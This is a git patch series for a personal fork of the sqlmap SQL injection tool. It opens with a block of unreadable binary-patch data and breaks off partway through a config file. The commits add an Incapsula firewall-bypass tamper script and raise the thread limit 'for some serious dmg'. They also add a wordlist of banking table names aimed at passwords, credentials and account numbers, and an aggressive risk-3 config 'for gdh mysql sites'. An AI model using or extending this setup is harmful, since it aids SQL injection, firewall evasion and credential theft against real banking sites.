zpiHY!80y3Njv35wMf-(1>0-SM59(Z8c(z?BsZqUKa;$j%zfB{|KCvcwj@B8|62}C% zCSW6Z{w&vLR_4Gd`Y2U_o8js(rKg?^@X>Rs_zMhDNB-x>%&V-}Y(5DaJOdzF4`F{u zY*F&i>$Bik!F?^0!c0A1aHm>_ zu0Hr{s-2m{W8;>j8h~7I+FF)S86ZZk3q9b)aX4?Pq;&zf-duFaCVKwa=*ccbV|?kU ztjV}=+MbNwqRzUz9oL5CXSLVYk?(|e%erd}8XdO#=J6?*NIn&u=1vAqQI5L0Y^RV3 za%t_^jO{S9{Z}oiNF$?UqY$?Ls{+1&5OJgPhzGYzvL>8tF1BLS*FH+Q!Vx zka>G?Ev-mCgGS{~pk#}di8Y?UR45f%K`}t82VG zfv-~6RY`_J)=Pwg0Wst=p}##ZLZ_%#s~PqcNVMMOpZSQ<Yf!jr$41G#vjdIDcx-RuRCf?c0rL;9^@`MD|i6mn8UUI>^WQGGd#`^zJoW^6G2Kc(w>&X(s~zWMq_ z)DR_o)SU~>Pw8Tm-ii8U% z0cPx^eE+r9t5v-G>nYzUdy~)QnN@O|i~8P7TwZSFq+wI>uar;e8CarS?EFe2@WlH* zF3uU|dvx9?wuqy#li<^iAJ6DfYQ|N>s%0tfDyoV$+RU9hGpgH#Y&cMIH*0^~2kN6tp%MikT0b8i z1=4*7azl78c*BfM zMGuM7d>D4lV)nRfZ(oyDIUQR0BGmcR--U;2jN60;i>4}9wy6#(SqYazXuriWDKai-kd(&=1b8Q8+&kNPkt0?q%ZuV#3 z6cu)J$1X3pvltkH_%paNI+(>f?eyk`-zE$Do4Mv$9?`b~PSGfT5I1;*IGNFJ0lZUU zzG+G^(9H??KP&TFT>EZK@UIkc-|(LY4zim5Ps?T(yx(BN-|!0WY^N}DC0#kif5bKT zwAs^(Z^swA(+k{3gM zdFnfSH1X3+k)w%3q8A}4svP+OCcTD|_nA&{<1~BV6lK;2bOw$vW@pw@QO86y<>Y|? zyw!e-=dBP=@|~b@x2wP@VyJDCSrfd2&|k}+J~JfOUR(3B&?kKhH7A~yg8@!aUiZ5( zWnejf!l;Y8D46L8nESv}*c(1b+UDo$%Cmf}PgbGh*ZAe2kN$eHyKke#5y;@rQr2Q) zlNa+I0jH>_Pj50881Lr%CHPh4Y2doVx{Ug|kpCm*dP_TRHxCChWWKmApEp~3(RnZZF>2NI6v3)AgF)VbWvbtha`$4jYog?QMFLP4 zHrnP+jLdhWLSA+%>o{$mrko{KasoI-hOn<_-6%y#iPXzcHGNI?*~fdF3Ec~M8N+SK z=B1&DTC?L~KG*M08p)`=Mi~m?LJxM`njEz8-(qZPT<^R+FNG zo>BO*rlai$>?<&9^}IiVyJZH|W`OHLbJGhFj%*B3@+`McGgi=4f%gIzCAm>Fduc?n zQ>Y=Y_;uzWtWvp|IwhAIPIXQ~f_!I#i0%@(BXOt|(HLS7b>e>Is#@k+7J=fNuVTR(Af>&i*)J^tsC z+f`h^m{sed@9#xjIA`!%SDQuM;+K0pG_PI=+uKg zdPe3qnlJ5YR(T1t{!Zuqk`Jfo_tR&u}7Bw~fiy@b0esinfF ze*qYm4*pK0`~RO))S}I&I0aYpXROo({qf=MOO5BtgmTU#oTGkCk0|o2U1;kW41nv{ z1foljF0HHn#z@*$+$G~%L$85?CII3>a1VJ=XWVH>*1vYIx zHKhfvX~Cu#fba+$UGrguP@ z2g`y4&dKHXkfZNuK~;Xqvq&zA-Iv15zg2amRiQs{a$#jRZwJm^QdDIgp292FCBLJj z#xQ>GVaLa2z5v;N3|#MWE2qtF$TLD`Wz5w% zhUK>R-2VjqC3}bL@rZ;3IZs1f?yc|{WX1aTS-X+sj?;DLi^VeU(Z0qlXX%w5XlU-l zjP9F{g#?)`QXqFh>wu|`L!&1t^cd-3z!IU=`h;PV>Tju!0vo(*tGMYGz`kWyyA>Lz zZBVikEg?szG!c3U48Em%Y;ed)=qX9)=0bv;>GOqnDq_m_w~L--xh_Y^0l$mims<+G zQ~kcPEm4)rxdll(DWsH3K<-kd=l1`YJPx0TX56CW6_qP+aXv_h^yiY|!xg-39dTxN zwI6}?;3VcPOL3up>`C|e#^O>$&Q+jTC;_J^tv0gV^8YwRw#XAg3Nm5pBSx=m_qdb6 zA$Kx32$G_FV^K{z*%QL=ktOTg*_Xpw9V2xoi(h1BQ;XsTvqnoS8m2loM#bl2HvfgZ z?6dqOExf6v!&T2cVKU@*0j6%^HiZV;RfVN#0&0j^=Ao&%ff4$anuUUWsZ*4g#F?DD z^7qa7UU^3D;#+no)&q=LRXVyBzntfNjuEebAM=xQg#{K!_XK<>Hj0B?cAoI*i)k*Y zkjtA%qET2WI|>-EIJ(_0Gj*DY<~_$HOBSo#0&;;QA>3b`bU!Q|^0ElCd)mqJe6Tp8 zv34&Aj@5LXXjCaf=3I)uPZfo{>~w8XyB#D&l-t_hl3$UA1Nxy(4eZum1hZ*dN(=)*L!jzw3snV3a%_my?YwusVutdt?~0(*?}@A4YsU@y11wBl9X&7>xZ zVd`3bd)2qr+pw>&VG8lK! zG}+U_4akq{vcPpY(-8{BECx_4@Nqk{9|O@kpv!Lb$9&SJH9AkUU9M2;k7=L7hNpO# zUSxxREa9Lv3-U5=sX&1^-aIp8N_OBX{a*EW!NXLiSS;{J80A-*^LjHG9!ono9*`7W zPSJ@}(jscQY}Hf=(UDuK-R_ z_(1QZAQOXd5%7XOdV~IM>nO;}Xrv6V0e*C-h30!r)*x^HuEe&-mj`zQ3#-Likg zPg5UeNEgf3Wwa*`>CRqWe~L_m938JgG@i3=1`o*hc9|ca)aF;&tNM3B}pch1W@|{|bVW+a+>q(ddIUpb({Fod1 zW~wKpq6GXA#!M+l4X@FcsyX?jR3S zc#=yhIR=5&A%p?{cG7HUpcmG$!St~9A^9xPZ|Js7hlQb0VwY^=kJ8d?Ogx_UJfjG% z34hwtho@$Ct=~kx5jrbtsj+G_0=%d6;5}sBU?Y#ycJoF*)%9i9g@jQa>(6FPhcO*L z>*R`u(8YpO$ua+*jmHM9ImUJTTUPWWGWp5Y5WLbd|jD0S#OKGRx1&dARX`f~y zgIMqL!}**=x9+5(tHdpAF06ID7|7mF&0B#0+?vRZrKIjCFseRIXAS%}^^EDtvk~A* zol$*mz_HpvxEkOT83j2y(GhJLqqSEaE0&8k*z}yQ9evWZt zDKgJkp&p8_%w8jP=tKFP;8s_I_N{4{6e-r9!P_)Zt3tjDETOHN-t!7$iCw=MrXeYM6jw%(2lv^FI@u0^VVBwF z^**GRaF>j$#&_fMcB0Tn=Z`!S^aY640>+ver(|9VO&}E4Kh1;Lq$bOKwygdXQgFw zp`S<>ul@?{+bqg|Ne#KXDs5VjeU%K#5`rtoFODx&`k;%oJnm8q4!Is;&;REX9a7pU z@tCilZLoBWu^0O23+0iJqqkC4Qe_K^pi{JMV1CMF^*3*?z-6geRSzH+&s(aqS8@@1meO(P`(BraC zHBK9A+PQehh8RS)1m(HU+o~9yRevp0DfAKfzoe*cC>q`i_@c4&>lC5*D9FnMo5Z?r zjAhR&uu3tP#bgxJv`bCdjzeDd;SS^~|5VqVRw#p7m9tX8IA1QBIXFogD1@YFJijSr z3ne!xDGybt-|`*EUFVi%xJ+!f#7Ct^dV-c#E_Zx2BKU|GeLS6+z$r>q92c+WD`!7h zQf9pAv1^_yZ_SNP6s1a}WfoAX&(ik{woHky{((<~hxC$ahrw&>T?CQ9RZ?=Okyo9A zrs%Xzt*sc~=h@=B=`t$5s2!&_(F)-|AyPLU1J_-d?d zpW{&)oI{=sDszjlB^v!!FOnG$bVKHYF-si!=*MfNizG8_s2}2w=2(@b!|p0(Y)$H-f|Ds~vHZy= zVSVNcZJJXP+RH**KK@eZqwmuzwa|7^_1jMR^uLvfbD((@>?>>}=J*`gQHx9C4Lw(z zQ_2T(L=r106R8OW)EX|`eDK}WA~PMq5m1uOQT=1!YUAOC3*?dpLbE*U?Rh4qT9@Ue zL`zY+KrZ+)s@m0E-&Jxct1s>nkT{x)nZPM}G0d4IY*?V~L0-15A!Sl&_rxPUxQ1jN zWa&<{EixjiuS-h{*&|oh4$KG-skL9Ny;IbYeuFBTFp=$07T8z;`--OvF04Uxk64KU zRXf7W)6vO$PdJsd!yiX@V`Z+tTjhr&?CZd%y=(GYe|f7wwPXIil>XSXB(uD|l}#-K zFhi~{ZRc#`|A5CR8|w8~Xt<{NJ|%67*yU5;M1u7hT`@@FINvUI_M#F)uD7Hqu-r1& zF;SIrJZ(>*Lk*i=F|aa~xcUb%2|JY*)q95OHX?4d0fuC5$a_y+2MN;$TJPlsMHncX z&H1@|BXyl34N9fwvWjR`w0)UZikIpvI}eSN!UoR(Whvq=$I_@b{$RK4Q4!)qb`84g zjgn|KMdUaviW$54b+qKj}x%5v|frO-NR+$cPiqgmY7Zz9?O#A=!(KDfs z{>WP>{1GX{f5pYx>VSTX3PrMzzlwWjC3>=|e+l~Nk@=rf_EP+kRrB{%z5w2T*2Ma9 z8Aq0XJKjy%K;Of%!X?-DMuZNL*Hu`SIKqu%UcR zlPg5mc(*kUI!^Cf9pEVnmP>o9kquj|HQcTRK8k!08smA&!Q7-yGX~xZo2Vlj7v?x4 z#hp(Z4wVRG<zl7iQ_{a@}trLX7C+Bkp|ATvz9q;xqAez6v&S@!9yv9%OTT`LP^kLK(#}jZ=_Q z^RsOilK+HOc~F69J*znfR2F5pshphKH>wCeZT*sK zS#M}q+P_)D#h>cGbQ~YKIrrbjM--n(pKP0^p~)rtuO1IWUPT@XTyz_;2{*c}_EEY- z&=RqKEqVI!U~?O<#hsHSrCE;a4Z`}&0*HQ%%c7Ht{m)trs(SLM$+46z$)EDvtCm{&`tD3TUry(?@K56J zLXJLaY2o_WFE+xMxZ;g-GBH1(^GETlcq7J|9k5tBexXOONxu9|j&Y&{bvdoN@LSEU zHpjuzX^}NAguS4f^b0kN(NUY1ZZd&Qq_PkzPa1HF@-*e-c8jQ@EjK^U?HjS^q}Sgs z*_JgxE2ULsa*E~ZPj!}$1k71))FUs5{F2)b&8kg1Ay0u&k;v9S5qFd=$?z*Qt5yYP z5D!)_PcII(w4JLBC|pnD#PZ@ja(c@eVRz*<{$ycR>2(@$?jVkW8I zZxr?wwqS<*Ex8}k0kajQ$s7HnEtE=w{DEWwB{zA0{&3}Z%ay*ui7hKR+$`9sTvFby z-)YHq*#2R|OQYF{J`s^xnih?!Ca$iN3QFITRuZ`#{4XU%R1EdsST4H=`OlHc z!wbCgoX(lCwHp-N1ra{RCZVY1+NQo3$lv0z(n7yV{1V6&#a( zqISkm7o0F_f!1VX=n(8H>`k_4=E!M^D54H;*v!#ko4{W$S@IqF=rVCzv!0eT)Z2C* z9qFFqZ1g}M-9T(o8%Ig zsS|m9_*VI<8+j*^TViR+3weQ6FIw^aijxJ)DqLmUMagt!7yW;skDl$9L_!eRUW1OG z%(Qfr730KyU@}-;3n$0l1Mf7Zj12a)m(-&4=|V#7qc*{z5HP^)K*m7ha-X`T5yrOI ztvGNeSvX`0I7KH+W;H0X3L^TbM;pA^(&5bx_xkXX=uC0i{W!g>;F2=n6zPwCo*Ufg zL&=DueCvICvEYwaM^45QID=%iC@F&aDOj1LgUh~ zWq;-0ym!eM>gAN&d}0-$b*b+Lc<_ka4M>nJR7M~vy6BqW7ZcGRw#$3MannphCtTsR zm@c0Wdu`#v*x_z;Q-0a&91&>W9!u{p?5NRbj~U{du~@rsy+)(Dvl9vt1orOx#3m9vFU99h4dnc+LB`N}tLd5QX09-9o;!EJ%t3b9a?@HQDv@ zGfEbJvs3vzC1w>zb*`Adaboz8h&PDBehimJ3q?J=ax{J~|9uW;$!o$Nb}HVL;(3!v zz0`{-Tk;L7<6E=(-C%dMkM|yzE=f{x)~~gic75P)5>XZA;H~d?40!(|3Q=Mjm`kkd z3oBz^yGHTe_k~b>{~*9;0@M9+9_!R(_@Z zqNi2p0*Mpg=cZzF-=GyZMMi?wh(u=YloT|vZ`Hgjm;sZtZsK@O7xc>tdIT9e7O8AY ztd7J7#c>@oi)+p=e4Y@QL^EF*muidMdS1$^_-$AVj>GbU30`ka^F+lFcnXzNT54rJ zyXtUjYQN%?0dp7cD(;e`s;ZztDG*Km@#iPygvxuLhxdZNcD4K-;1s=P?OB)}wdp?E z_^K=~yEGmZSDx-%bf9*yeSYW!(3%*CIH6UUE9$q6@U}_rt3kq~)ZkW+M|M)iXEZ*@ z77Kf#BG*G^DafhVnDlGk-R&>{o{*EN|Fj4PL$8V-4+E`##?ZuRA4$to%)9+?BwwGSZ zj!gJMD@YG2+Ff_My?;nyCVvfsdMA`B6RGZNgtg0X?+CIXrNh=n-tGo8tJY+#fZX+W z{m?9Sjk#R~$_`cZ>Km-T4*{NK&@Xl+q``An^^riUC1y~acSi8vIH zK!~@tFubdJLh7)95WF4HQ;!EO(r2p&3QncYPz#fuHaXk?i}pP3qL?S>>CPP?;71$B^A6n|5eVdrE$h+@0OPTDq?eml9j0%srJw*Qlm=` z#7^on^>|&lK&i_r8U{wz?+I4^DWu0?XfF%LRMXSi)(QineP~hE#(e77k1kZ>-_qJ_ zhlJNOPR5NQ+d7MO+%Ot=BumJ%z(Eet7&V%;J?(B3v`G3EMF)QOBd;{4C zsUc^`pyR)~8^s$Li8R54$t;!9PYttO)1zl0L4Ju|7p;(|Xa$q?@^aD$<)HfK!BBI?4GL8!aKNgx5V} z(d(??+Y%m16!g9B{21~wtn#>oIV8v>OR^Iiz1x~U1HZvG`2%%5^-6(8wJ5!y|G?Bo zCX!c#o0r6@<{J!J?IAe&M@2-1?((vAR5BxIpO&YK9>&D5&=8;oHc;wV|1< z!ksSv#@|5R(!)Z1~Z*MFfn(ocVFf{gVw zgJ{*AQr~gXyxYw0Qzr(xT7#;C3ar!AXvN9;dH+>hY_{qZohVv=|TJ47lB6-sNo}fQ)nEyV|{EUV|ZV? zX5GCaflLirLA+qj8Q}dJcUg_eEo{IyB@O5{&$Yjs5*$}N>7i*POaB;xqIHYG4;2fk zRUC_3&0L#Y>?hFwsiqbDP3@;VOg7CEuc&U`?Cpj3!V%6MtS$b%5?xmX=r+E-cZf~! z6dYVS%@62WE7eOxV>{TIKrT4ei*NC(IGtOQG(p9sITmoL&(j|bV5cIPvWN(Q7g7?c z8U}By8wnr$A4a?kUGaSEaLcqu3!{(%?z5iFr{Iu_>3Y}@T6#D8c>;@eG*hbhWLwt9`Lc+9w@h)3DzB)x)4j9O3*vTtP%;N~ig^llvpC_elVfCHWo46P@{g{P+I#spyp*sO-)>&# z#^934?1AyUgFW3b^v8`gtv)^6K|hAmENS`K#yhSPx*PXVv`(r_j;eB4Gg@y&H&4A% zNmO=0!cn-8KOYsxeZF~_>A8?N!(yBn!42H&JvbyjUOn|MG>SkH@@5NOGN6aqA7t9m}cntQq0yJyXfE%M0bp5v#@< zS*$PIpNJGx0;Uj~jcXB17bb{Ki5(Nc3aJWU_(l0PP-vty;t3DOZDEJAbT*%^^VU?? wjMx6zaAeK1;@K+PD?BYk5APO24>^StMj=sn^dc$@^%#jj_9NIl4iAg?e_vwhzyJUM diff --git a/sqlmap.conf b/sqlmap.conf index c4d2eb23cb4..044fe983eca 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -69,7 +69,7 @@ agent = # Use randomly selected HTTP User-Agent header value. # Valid: True or False -randomAgent = False +randomAgent = True # HTTP Host header value. host = @@ -184,14 +184,14 @@ evalCode = # Use all optimization options. # Valid: True or False -optimize = False +optimize = True # Predict common queries output. # Valid: True or False predictOutput = False # Use persistent HTTP(s) connections. -keepAlive = False +keepAlive = True # Retrieve page length without actual HTTP response body. # Valid: True or False @@ -201,7 +201,7 @@ nullConnection = False # to be used in the inference SQL injection attack. # Valid: integer # Default: 1 -threads = 1 +threads = 3 # These options can be used to specify which parameters to test for, @@ -339,7 +339,7 @@ tech = BEUSTQ # Seconds to delay the response from the DBMS. # Valid: integer # Default: 5 -timeSec = 5 +timeSec = 3 # Range of columns to test for # Valid: range of integers @@ -479,7 +479,7 @@ user = # Exclude DBMS system databases when enumerating tables. # Valid: True or False -excludeSysDbs = False +excludeSysDbs = True # First query output entry to retrieve # Valid: integer @@ -589,7 +589,7 @@ privEsc = False # Local path where Metasploit Framework is installed. # Valid: file system path -msfPath = +msfPath = /usr/local/share/metasploit-framework # Remote absolute path of temporary files directory. # Valid: absolute file system path @@ -637,7 +637,7 @@ trafficFile = # Never ask for user input, use the default behaviour. # Valid: True or False -batch = False +batch = True # Force character encoding used for data retrieval. charset = @@ -653,7 +653,7 @@ csvDel = , # Format of dumped data # Valid: CSV, HTML or SQLITE -dumpFormat = CSV +dumpFormat = SQLITE # Retrieve each query output length and calculate the estimated time of # arrival in real time. @@ -681,7 +681,7 @@ outputDir = # Parse and display DBMS error messages from responses. # Valid: True or False -parseErrors = False +parseErrors = True # Pivot column name. pivotColumn = @@ -708,11 +708,11 @@ mnemonics = alert = # Set question answers (e.g. "quit=N,follow=N"). -answers = +answers = "further processing=Y,temporary file=Y,password hashes=N,crack=N" # Make a beep sound when SQL injection is found. # Valid: True or False -beep = False +beep = True # Offline WAF/IPS/IDS payload detection testing. # Valid: True or False @@ -737,7 +737,7 @@ googlePage = 1 # Make a thorough testing for a WAF/IPS/IDS protection. # Valid: True or False -identifyWaf = False +identifyWaf = True # Imitate smartphone through HTTP User-Agent header. # Valid: True or False diff --git a/tamper/incapsula.py b/tamper/incapsula.py new file mode 100644 index 00000000000..22c0ff305eb --- /dev/null +++ b/tamper/incapsula.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Escapes forward slash character '/' with '\/' + + Tested against: + + Notes: + * Useful to bypass Incapsula application firewall + + >>> tamper('cat /etc/passwd') + 'cat \/etc\/passwd' + """ + + return payload.replace("/", "\/") From 72b74ee03f5cda8c2ddc8cdb23bf52250b47657b Mon Sep 17 00:00:00 2001 From: Dtripp Date: Sat, 4 Apr 2015 06:53:49 -0400 Subject: [PATCH 02/29] Threads to a max of 40 for some serious dmg --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 66cbc7b149e..ba36b06f5ef 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -306,7 +306,7 @@ SENSITIVE_DATA_REGEX = "(\s|=)(?P[^\s=]*%s[^\s]*)\s" # Maximum number of threads (avoiding connection issues and/or DoS) -MAX_NUMBER_OF_THREADS = 10 +MAX_NUMBER_OF_THREADS = 50 # Minimum range between minimum and maximum of statistical set MIN_STATISTICAL_RANGE = 0.01 From cef428a043713be674e4f0c08d37c626d197ee76 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Sat, 4 Apr 2015 23:58:10 -0700 Subject: [PATCH 03/29] custom banner for my fork ;p --- lib/core/settings.py | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ba36b06f5ef..fbacf26b5e0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -25,15 +25,23 @@ DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "http://sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" -GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git" -GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" +GIT_REPOSITORY = "git://github.com/dtrip/sqlmap.git" +GIT_PAGE = "https://github.com/dtrip/sqlmap" # colorful banner -BANNER = """\033[01;33m _ - ___ ___| |_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m -|_ -| . | | | .'| . | -|___|_ |_|_|_|_|__,| _| - |_| |_| \033[0m\033[4;37m%s\033[0m\n +BANNER = """\033[01;33m + .__ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m + ___________| | _____ _____ ______ + / ___/ ____/ | / \\__ \ \____ \ + \___ < <_| | |_| Y Y \/ __ \| |_> > +/____ >__ |____/__|_| (____ / __/ + \/ |__| \/ \/|__| + ________ __ .__ + \______ \_/ |________|__|_____ ______ + ______ ______ | | \ __\_ __ \ \____ \\____ \ + /_____/ /_____/ | ` \ | | | \/ | |_> > |_> > + /_______ /__| |__| |__| __/| __/ + \/ |__| |__| \033[0m\033[4;37m%s\033[0m\n """ % ((31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True From 34f4aef21b978c8cfe5a8d705879ff7051be4963 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Mon, 8 Jun 2015 16:19:24 -0700 Subject: [PATCH 04/29] merged w/ upstream --- txt/banking-tables.txt | 79 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 txt/banking-tables.txt diff --git a/txt/banking-tables.txt b/txt/banking-tables.txt new file mode 100644 index 00000000000..5389ba6ec4f --- /dev/null +++ b/txt/banking-tables.txt @@ -0,0 +1,79 @@ +about +banking +banners +contact +locations +privacy +security +services +members_secure +authentication +auth +rates +mortage +mortages +loan +loans +balance +authenticate +authenticating +user +users +members +member_secure +memberaccount +memberaccounts +memberslogin +member_login +member_accounts +accounts +accounting +bankaccounts +banklogin +banklogins +bank_login +bank_logins +bank_accounts +bank_accounting +user_accounts +users_accounts +users_accounting +user_login +users_login +users_bankaccounts +user_account_login +user_password +users_password +user_passwords +users_passwords +user_passwd +users_passwd +user_passwds +users_passwds +account_number +accountnumber +accountpassword +accountpasswords +usercreds +userpasswd +userpasswds +userscreds +userscred +login +logins +admin +admins +bankadmin +bankadmins +bank_admin +bank_admins +branch_login +branch_logins +restricted +secure +user_secure +users_secure +userinfo +usersinfo +user_info +users_info From 4860e0ae7e4764627241e679c46fb4666d48483b Mon Sep 17 00:00:00 2001 From: Dtripp Date: Sun, 12 Jul 2015 17:15:03 -0400 Subject: [PATCH 05/29] added conf for gdh mysql sites --- sqlmap-mysql.conf | 783 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 783 insertions(+) create mode 100644 sqlmap-mysql.conf diff --git a/sqlmap-mysql.conf b/sqlmap-mysql.conf new file mode 100644 index 00000000000..945c7a6a21a --- /dev/null +++ b/sqlmap-mysql.conf @@ -0,0 +1,783 @@ +# At least one of these options has to be specified to set the source to +# get target URLs from. +[Target] + +# Direct connection to the database. +# Examples: +# mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME +# oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID +direct = + +# Target URL. +# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 +url = + +# Parse targets from Burp or WebScarab logs +# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path +# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) +# 'conversations/' folder path +logFile = + +# Scan multiple targets enlisted in a given textual file +bulkFile = + +# Load HTTP request from a file +# Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme +requestFile = + +# Rather than providing a target URL, let Google return target +# hosts as result of your Google dork expression. For a list of Google +# dorks see Johnny Long Google Hacking Database at +# http://johnny.ihackstuff.com/ghdb.php. +# Example: +ext:php +inurl:"&id=" +intext:"powered by " +googleDork = + +# Parse target(s) from remote sitemap(.xml) file. +# Example: http://192.168.1.121/sitemap.xml +sitemapUrl = + + +# These options can be used to specify how to connect to the target URL. +[Request] + +# Force usage of given HTTP method (e.g. PUT). +method = + +# Data string to be sent through POST. +data = + +# Character used for splitting parameter values. +paramDel = + +# HTTP Cookie header value. +cookie = + +# Character used for splitting cookie values. +cookieDel = + +# File containing cookies in Netscape/wget format. +loadCookies = + +# Ignore Set-Cookie header from response. +# Valid: True or False +dropSetCookie = False + +# HTTP User-Agent header value. Useful to fake the HTTP User-Agent header value +# at each HTTP request. +# sqlmap will also test for SQL injection on the HTTP User-Agent value. +agent = + +# Use randomly selected HTTP User-Agent header value. +# Valid: True or False +randomAgent = True + +# HTTP Host header value. +host = + +# HTTP Referer header. Useful to fake the HTTP Referer header value at +# each HTTP request. +referer = + +# Extra HTTP headers +headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 + Accept-Language: en-us,en;q=0.5 + Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 + +# HTTP Authentication type. Useful only if the target URL requires +# HTTP Basic, Digest or NTLM authentication and you have such data. +# Valid: Basic, Digest, NTLM or PKI +authType = + +# HTTP authentication credentials. Useful only if the target URL requires +# HTTP Basic, Digest or NTLM authentication and you have such data. +# Syntax: username:password +authCred = + +# HTTP Authentication PEM private key. Useful only if the target URL requires +# PKI authentication and you have such data. +# Syntax: key_file +authPrivate = + +# Use a proxy to connect to the target URL. +# Syntax: (http|https|socks4|socks5)://address:port +proxy = + +# Proxy authentication credentials. Useful only if the proxy requires +# Basic or Digest authentication and you have such data. +# Syntax: username:password +proxyCred = + +# Load proxy list from a file +proxyFile = + +# Ignore system default proxy settings. +# Valid: True or False +ignoreProxy = False + +# Use Tor anonymity network. +# Valid: True or False +tor = False + +# Set Tor proxy port other than default. +# Valid: integer +# torPort = + +# Set Tor proxy type. +# Valid: HTTP, SOCKS4, SOCKS5 +torType = HTTP + +# Check to see if Tor is used properly. +# Valid: True or False +checkTor = False + +# Delay in seconds between each HTTP request. +# Valid: float +# Default: 0 +delay = 0 + +# Seconds to wait before timeout connection. +# Valid: float +# Default: 30 +timeout = 30 + +# Maximum number of retries when the HTTP connection timeouts. +# Valid: integer +# Default: 3 +retries = 3 + +# Randomly change value for the given parameter. +rParam = + +# URL address to visit frequently during testing. +# Example: http://192.168.1.121/index.html +safeUrl = + +# POST data to send to a safe URL. +# Example: username=admin&password=passw0rd! +safePost = + +# Load safe HTTP request from a file. +safeReqFile = + +# Test requests between two visits to a given safe URL (default 0). +# Valid: integer +# Default: 0 +safeFreq = 0 + +# Skip URL encoding of payload data +# Valid: True or False +skipUrlEncode = False + +# Parameter used to hold anti-CSRF token +csrfToken = + +# URL address to visit to extract anti-CSRF token +csrfUrl = + +# Force usage of SSL/HTTPS +# Valid: True or False +forceSSL = False + +# Use HTTP parameter pollution. +# Valid: True or False +hpp = False + +# Evaluate provided Python code before the request. +# Example: import hashlib;id2=hashlib.md5(id).hexdigest() +evalCode = + +# These options can be used to optimize the performance of sqlmap. +[Optimization] + +# Use all optimization options. +# Valid: True or False +optimize = True + +# Predict common queries output. +# Valid: True or False +predictOutput = False + +# Use persistent HTTP(s) connections. +keepAlive = True + +# Retrieve page length without actual HTTP response body. +# Valid: True or False +nullConnection = False + +# Maximum number of concurrent HTTP(s) requests (handled with Python threads) +# to be used in the inference SQL injection attack. +# Valid: integer +# Default: 1 +threads = 3 + + +# These options can be used to specify which parameters to test for, +# provide custom injection payloads and optional tampering scripts. +[Injection] + +# Testable parameter(s) comma separated. By default all GET/POST/Cookie +# parameters and HTTP User-Agent are tested by sqlmap. +testParameter = + +# Skip testing for given parameter(s). +skip = + +# Skip testing parameters that not appear dynamic. +# Valid: True or False +skipStatic = False + +# Force back-end DBMS to this value. If this option is set, the back-end +# DBMS identification process will be minimized as needed. +# If not set, sqlmap will detect back-end DBMS automatically by default. +# Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql, sqlite, sqlite3, +# access, firebird, maxdb, sybase +dbms = mysql + +# DBMS authentication credentials (user:password). Useful if you want to +# run SQL statements as another user, the back-end database management +# system is PostgreSQL or Microsoft SQL Server and the parameter is +# vulnerable by stacked queries SQL injection or you are connecting directly +# to the DBMS (-d switch). +# Syntax: username:password +dbmsCred = + +# Force back-end DBMS operating system to this value. If this option is +# set, the back-end DBMS identification process will be minimized as +# needed. +# If not set, sqlmap will detect back-end DBMS operating system +# automatically by default. +# Valid: linux, windows +os = + +# Use big numbers for invalidating values. +# Valid: True or False +invalidBignum = False + +# Use logical operations for invalidating values. +# Valid: True or False +invalidLogical = False + +# Use random strings for invalidating values. +# Valid: True or False +invalidString = False + +# Turn off payload casting mechanism +# Valid: True or False +noCast = False + +# Turn off string escaping mechanism +# Valid: True or False +noEscape = False + +# Injection payload prefix string. +prefix = + +# Injection payload suffix string. +suffix = + +# Use given script(s) for tampering injection data. +tamper = xforwardedfor,space2comment + + +# These options can be used to specify how to parse and compare page +# content from HTTP responses when using blind SQL injection technique. +[Detection] + +# Level of tests to perform. +# The higher the value is, the higher the number of HTTP(s) requests are +# as well as the better chances to detect a tricky SQL injection. +# Valid: Integer between 1 and 5 +# Default: 1 +level = 1 + +# Risk of tests to perform. +# Note: boolean-based blind SQL injection tests with AND are considered +# risk 1, with OR are considered risk 3. +# Valid: Integer between 1 and 3 +# Default: 1 +risk = 3 + +# String to match within the raw response when the query is evaluated to +# True, only needed if the page content dynamically changes at each refresh. +# Refer to the user's manual for further details. +string = + +# String to match within the raw response when the query is evaluated to +# False, only needed if the page content dynamically changes at each refresh. +# Refer to the user's manual for further details. +notString = + +# Regular expression to match within the raw response when the query is +# evaluated to True, only needed if the needed if the page content +# dynamically changes at each refresh. +# Refer to the user's manual for further details. +# Valid: regular expression with Python syntax +# (http://www.python.org/doc/2.5.2/lib/re-syntax.html) +regexp = + +# HTTP response code to match when the query is True. +# Valid: Integer +# Example: 200 (assuming any False statement returns a different response +# code) +# code = + +# Compare pages based only on the textual content. +# Valid: True or False +textOnly = False + +# Compare pages based only on their titles. +# Valid: True or False +titles = False + + +# These options can be used to tweak testing of specific SQL 